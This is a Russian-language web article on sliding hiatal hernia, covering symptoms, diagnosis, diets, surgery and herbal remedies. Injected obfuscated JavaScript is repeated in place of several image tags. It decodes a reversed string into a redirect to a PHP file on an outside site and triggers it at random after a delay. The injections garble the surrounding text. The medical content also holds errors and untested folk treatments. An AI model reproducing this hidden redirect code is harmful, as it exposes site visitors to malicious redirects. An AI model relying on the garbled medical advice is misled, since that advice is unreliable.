Скользящая грыжа пищеводного отверстия диафрагмы: как вовремя распознать и вылечить заболевание?

Пищевод — соединительная трубка между глоткой и желудком, которая проходит через отверстие в диафрагме. Нарушения в желудочно-кишечном тракте провоцируют заболевания пищевода. К ним относится и такая гастроэзофагиальная рефлюксная болезнь, как скользящая аксиальная грыжа пищеводного отверстия диафрагмы (ГПОД).

Особенность патологии

Во время развития заболевания происходит перемещение кардиального отдела желудка в область грудины через диафрагмальное отверстие. Различают несколько видов хиатальных грыж:

• параэзофагеальную (этот вид характерен тем, что увеличение и нарастание части желудка происходит с левой стороны пищевода);
• аксиальную (её главное отличие заключается в отсутствии грыжевого мешка, что позволяет ей проникать в грудную полость и свободно возвращаться обратно). Может иметь фиксированный и нефиксированный характер;
• комбинированную (при этом развиваются оба вида грыжи — аксиальная и параэзофагеальная).

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2015/12/v-728×336.jpg» alt=»виды хиатальных грыж» width=»728″ height=»336″ /> Отличие аксиальной грыжи от параэзофагеальной в том, что она может перемещаться

Что такое грыжа пищеводного отверстия диафрагмы (видео)

Классификация ГПОД по степени тяжести заболевания

Степень тяжести	Чем характеризуется
I-я степень	Нижняя часть пищевода находится над диафрагмой, верхняя часть желудка плотно прилегает к диафрагме, диаметр которой немного увеличен.
II-я степень	Верхняя часть желудка немного выступает над уровнем диафрагмы.
III-я степень	Верхняя часть желудка (в некоторых случаях и нижняя) значительно выступает над уровнем диафрагмы

Причины возникновения аксиальной грыжи

На образование грыжи могут влиять как врождённые, так и приобретённые факторы.

Приобретённые факторы возникновения	Врождённые факторы возникновения
Повреждение диафрагмального нерва после воспаления или травмы приводит к расслаблению диафрагмы.	Врождённая грыжа пищеводного отверстия диафрагмы, полученная в результате замедленного опущения желудка в брюшной отдел. Это происходит в период развития плода в утробе матери.
На фоне язвы, холицистита, гастрита происходит рефлекторное сокращение стенок пищевода, что со временем приводит к увеличению окружности диафрагмы.	Диафрагмальные мышцы развиты не до конца, из-за чего кольцо пищеводного отверстия в диафрагме расширено.
Беременность, запоры, подъём тяжестей, курение и прочие причины провоцируют повышение внутрибрюшного давления и способствуют образованию грыжи.	Несвоевременное заращение диафрагмы, после того как желудок опустился в брюшную полость, приводит к заранее образовавшемуся грыжевому мешку.
Возрастная инволюция мышечной ткани диафрагмы.

Симптомы и признаки

В начале развития болезни симптомы почти не проявляются, клинические признаки выражены слабо и грыжа не беспокоит. Её можно обнаружить лишь случайно, к примеру, во время медицинского обследования УЗИ. Визуальный осмотр и пальпация не дадут результатов, так как на ощупь грыжа не прощупывается из-за глубокого расположения внутри грудного отдела. Затрудняет распознание аксиальной грыжи и то, что она имеет возможность периодически уходить обратно под диафрагму.

Более длительное существование грыжи или проскальзывание большей части желудка в область грудины провоцирует возникновение симптомов, поэтому аксиальную грыжу чаще всего распознают уже на более поздних стадиях развития. Среди основных признаков, сопровождающих развитие грыжи, выделяют следующие:

• изжога периодического характера (обычно возникает после еды и в положении лёжа);
• жжение и боль за грудиной;
• обострение бронхитов, трахеитов (поджелудочный сок попадает в дыхательные пути во время отрыжки);
• регургитация (поступление еды из желудка в пищевод и полость рта без рвотного позыва);
• отрыжка;
• дисфагия (человек не может глотать в результате рубцового сужения пищевода, которое происходит из-за постоянного воспаления его слизистой выбросами кислоты).

Если болезнь не была обнаружена вовремя, то её дальнейшее развитие может привести к серьёзным осложнениям. Это могут быть язвы и кровотечения на их фоне. Периодические кровоизлияния, в свою очередь, могут привести к анемии (малокровию). При малейшем намёке на развитие грыжи не стоит затягивать с обследованием и последующим лечением.

Диагностика скользящей грыжи пищевода

Диагностировать аксиальную грыжу можно с помощью рентгенографии, эзофагеальной манометрии, фиброэзофагогастродуоденоскопии, гастроскопии, эзофагоскопии.

1. Рентгенография позволит определить:
   • диаметр диафрагмального отверстия;
   • положение кардиального сфинктера;
   • расположение нижней части пищевода;
   • расположение верхней части желудка;
   • задержку взвеси бария при наличии грыжи.

     $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2015/12/fibroezofagogastroduodenoskopiya-728×728.jpg» alt=»фиброэзофагогастродуоденоскопия» width=»728″ height=»728″ /> С помощью фиброэзофагогастродуоденоскопии определяют уровень смещения пищеводно-желудочной линии по отношению к диафрагме

2. Методы эндоскопии (фиброэзофагогастродуоденоскопия, гастроскопия, эзофагоскопия) определяют:
   • уровень смещения пищеводно-желудочной линии по отношению к диафрагме;
   • наличие язвы, эрозии, гастрита;
   • воспаления слизистых желудка и пищевода.
3. Эндоскопическую биопсию проводят, чтобы исключить опухоль пищевода.
4. Анализ кала на скрытую кровь поможет выявить латентное кровотечение желудочно-кишечного тракта.
5. С помощью эзофагеальной манометрии определяются двигательная функция пищевода, состояние верхнего и нижнего сфинктеров.
6. Внутрижелудочная, внутрипищеводная, внутрикишечная pH-метрия позволяет исследовать среду пищеварительного тракта.

Лечение

Консервативное

На ранних стадиях хирургическое вмешательство происходит редко. Чаще всего врач назначает приём препаратов и диету, которая предполагает исключение из рациона:

• жирного (мясо — свинину, пирожные, торты на основе крема с высоким содержанием жира и прочее);
• острого (острые приправы, лук, чеснок, чёрный и красный перец);
• копчёного (колбаса, мясо, рыба, куриные изделия);
• жареного (мясо, картофель, яйца и прочее);
• солёного (огурцы, помидоры, квашеная капуста и прочее);
• газированных напитков (лимонад, минеральная вода);
• кофе, крепкого чая.

Употреблять пищу необходимо небольшими порциями (не больше 200 г за одни приём) 5-6 раз в день. Желудку нужно давать время переработать пищу и отдохнуть, поэтому не стоит делать перекусы, так как они провоцируют выработку большого количества желудочного сока, что ведёт к возникновению изжоги.

Не следует физически перенапрягаться — это создаёт внутрибрюшное давление и провоцирует увеличение грыжи. Количество и интенсивность нагрузок должны быть сведены к минимуму.

При периодической изжоге лучше спать полулёжа на высоких подушках либо приподнять изголовье кровати, если это возможно.

Продукты, которые нужно исключить из рациона (галерея фото)

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»11010,11011,11015,11016,11017,11018″]

Операционное вмешательство

При диагностике заболевания на более поздних стадиях грыжа удаляется при помощи хирургического вмешательства. Наиболее частыми методами избавления от скользящей грыжи являются:

• фундопликация по Ниссену;
• лапароскопия;
• пластика по Тоупе.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2015/12/a.jpg» alt=»фундопликация по Ниссену» width=»500″ height=»640″ /> Во время фундопликации по Ниссену фундальное тело желудка оборачивают вокруг нижнего отдела пищевода

1. Суть фундопликации по Ниссену в том, чтобы прекратить развитие рефлюкса. Такие операции проводятся как открыто, так и с помощью лапароскопического оборудования. Во время операции фундальное тело желудка оборачивают вокруг нижнего отдела пищевода. За счёт этого развитие грыжи и рефлюксной болезни прекращается. Чаще всего операция проводится открыто.

   $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2015/12/laparaskopiya1.jpg» alt=»Лапараскопия» width=»550″ height=»404″ /> Лапараскопия — самая распространённая операция на сегодня. Восстановление после неё проходит быстро и безболезненно

2. Лапароскопия — самая распространённая операция на сегодня. Специальное оборудование позволяет делать проколы в области расположения грыжи и наблюдать за ходом операции с помощью видеомонитора. Благодаря отсутствию больших разрезов восстановление после лапароскопии происходит гораздо быстрее и безболезненнее.
3. Пластика по Тоупе — относится к открытым видам операций. Во время операции сам пищевод и нижний его отдел разрезаются продольно, а на место разреза вставляется лоскут диафрагмы. Мышечные ткани этих органов похожи, поэтому сращивание происходит быстро. Диафрагму подшивают, чтобы её отверстие плотнее обхватывало пищевод. Сейчас такая операция может проводиться и лапароскопически, что позволяет пациенту быстро восстановиться.

Нетрадиционная медицина

Главным отягчающим симптомом в ходе заболевания является изжога. Устранить её можно с помощью народных методов. Лучше всего для этого подходят отвары или чаи из трав:

• чай из горечавки поможет не только устранить изжогу и воспаление пищевода, но и наладить пищеварение. Чайная ложка горечавки кладётся на один стакан воды и настаивается на медленном огне около 30 минут. Для вкуса можно присыпать имбирём и дать постоять минут 10. Перемешивать не надо. Средство принимается до еды три раза в день;
• календула и ромашка обладают противовоспалительным действием. Чай из этих трав снимет воспаление пищевода и успокоит желудок. На стакан кипящей воды кладётся по половине чайной ложки ромашки и календулы. Настаивать необходимо не менее 20 минут. После полученный настой процеживается и принимается по стакану 3-4 раза в день. В период обострения изжоги можно принимать чаще.
• отвар из трав от изжоги. Столовая ложка сбора настаивается в 0,5 л кипятка около 2–30 минут. Процеженный настой принимается за 15–20 минут перед едой. Необходимо смешать:
  • молодую крапиву;
  • мелиссу;
  • душицу;
  • подорожник;
  • зверобой.
• льняное семя успокаивает желудок, уменьшает кислотность его содержимого, снимает воспаление пищевода и оздоравливает систему пищеварения. Чайная ложка семян настаивается в стакане горячей воде (варить не надо) 30–40 минут. Можно укутать полотенцем для поддержания температуры. Настой процеживается и принимается незадолго до еды. Также можно добавлять льняное масло в пищу, но не более 3 ложек в сутки.

Народные средства для лечения болезни (галерея)

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»11047,11048,11049,11067,11068,11069″]

Диета после операции

Соблюдение послеоперационной диеты необходимо для уменьшения степени нагрузки на ЖКТ. Достичь этого поможет дробное питание и исключение из него продуктов, которые провоцируют газообразование, способствуют запорам и т. д.

После операции врач рекомендует придерживаться диеты и принимать пищу с учётом индивидуальных особенностей организма пациента.

Какие продукты нельзя употреблять после операции?

Из рациона следует исключить:

• мучную сдобу (печенье, пирожки, пирожное, оладьи, блины и прочее);
• хлеб из отрубей;
• жирное, копчёное, солёное, острое, жареное;
• бобовые (горох, фасоль и прочее);
• цитрусовые;
• помидоры, капусту, брокколи, морковь, чеснок, лук;
• редьку, репу, редис;
• кукурузную, пшённую, перловую каши;
• яйца;
• молочные продукты с высоким процентом жирности;
• орехи, семечки, изюм, курагу, чернослив;
• газированные напитки, кофе, крепкий чай, соки с высокой концентрацией кислоты.

Запрещённые к употреблению после операции продукты (галерея)

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»11058,11059,11061,11063,11070,11073″]

Какие продукты можно употреблять после операции?

После операции лучше всего употреблять:

• нежирные бульоны;
• супы-пюре из овощей;
• отварное нежирное мясо или рыбу;
• творог (нежирный);
• жидкие каши;
• подсушенный белый хлеб в небольшом количестве;
• кисель (желательно готовить его не из брекетов, содержащих красители, а из свежих ягод).

Употребление растительной клетчатки позволяет восстановить работу ЖКТ, но чрезмерное употребление овощей может привести к застаиванию грубого волокна и образованию каловых масс в кишечнике.

Разрешённые к употреблению в послеоперационный период продукты (галерея)

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»11051,11053,11054,11056,11071,11072″]

Лучшим средством профилактики грыжи пищеводного отверстия диафрагмы является соблюдение здорового образа жизни. Злоупотребление алкоголем и сигаретами, неправильное питание и отсутствие спортивных нагрузок на организм влечёт за собой развитие множественных заболеваний системы пищеварения, в том числе и аксиальной грыжи. При первых признаках заболевания нужно обратиться за консультацией к врачу и пройти полное обследование органов брюшной полости. Запущенное заболевание приводит к более серьёзным осложнениям вплоть до летального исхода.